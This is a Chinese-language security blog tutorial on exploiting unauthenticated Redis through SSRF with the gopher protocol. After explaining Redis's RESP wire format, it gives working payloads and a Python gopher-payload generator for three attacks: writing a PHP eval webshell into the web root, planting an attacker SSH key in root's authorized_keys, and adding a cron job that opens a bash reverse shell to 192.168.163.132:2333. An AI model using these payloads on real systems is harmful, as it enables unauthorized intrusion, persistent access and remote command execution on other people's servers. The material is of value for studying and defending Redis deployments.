浅知Redis中SSRF的利用

SSRF介绍
SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。通常,SSRF攻击的目标是外部网络无法访问的内部系统。

RESP协议

Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。

RESP在Redis中用作请求 - 响应协议的方式如下:
客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
服务器根据命令实现回复一种RESP类型。

在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

我们用tcpdump来抓个包来测试一下

tcpdump port 6379 -w ./Desktop/1.pcap

redis客户端中执行如下命令

192.168.163.128:6379> set name test
OK
192.168.163.128:6379> get name
"test"
192.168.163.128:6379>

抓到的数据包如下
在这里插入图片描述
hex转储看一下
在这里插入图片描述
正如我们前面所说的,客户端向将命令作为Bulk Strings的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。
我们就拿上面的数据包分析,首先是*3,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为[“set”,“name”,“test”]);$4代表字符串的长度,0d0a即\r\n表示结束符;+OK表示服务端执行成功后返回的字符串

Redis配合gopher协议进行SSRF

概述

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了
Gopher 协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

利用条件及利用

利用条件:能未授权或者能通过弱口令认证访问到Redis服务器
redis常见的SSRF攻击方式大概有这几种:

绝对路径写webshell

写ssh公钥

写contrab计划任务反弹shell

绝对路径写webshell

这个方法比较常用,也是用得最多的
构造payload
构造redis命令

flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

写了一个简单的脚本,转化为redis RESP协议的格式

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

在这里插入图片描述
生成payload后,用curl打一波
在这里插入图片描述
执行成功,我们看一波shell是否写入成功
在这里插入图片描述
成功写入

写ssh公钥

如果.ssh目录存在,则直接写入~/.ssh/authorized_keys
如果不存在,则可以利用crontab创建该目录
构造payload
构造redis命令

flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys

转化为redis RESP协议的格式
PS:将第一个脚本改一下

filename="authorized_keys"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali\n\n"
path="/root/.ssh/"

生成payload
在这里插入图片描述
curl打一波
在这里插入图片描述
我们来查看一波是否成功写入
在这里插入图片描述
成功写入,尝试连接
在这里插入图片描述

利用contrab计划任务反弹shell

这个方法只能Centos上使用,Ubuntu上行不通,原因如下:
1.因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行

2.因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/
Ubuntu定时任务文件在/var/spool/cron/crontabs/
Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

构造payload
构造redis的命令如下:

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

转化为redis RESP协议的格式
PS:将第一个脚本改一下

reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"

生成一波,尝试反弹shell
在这里插入图片描述
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_51558360/article/details/113770223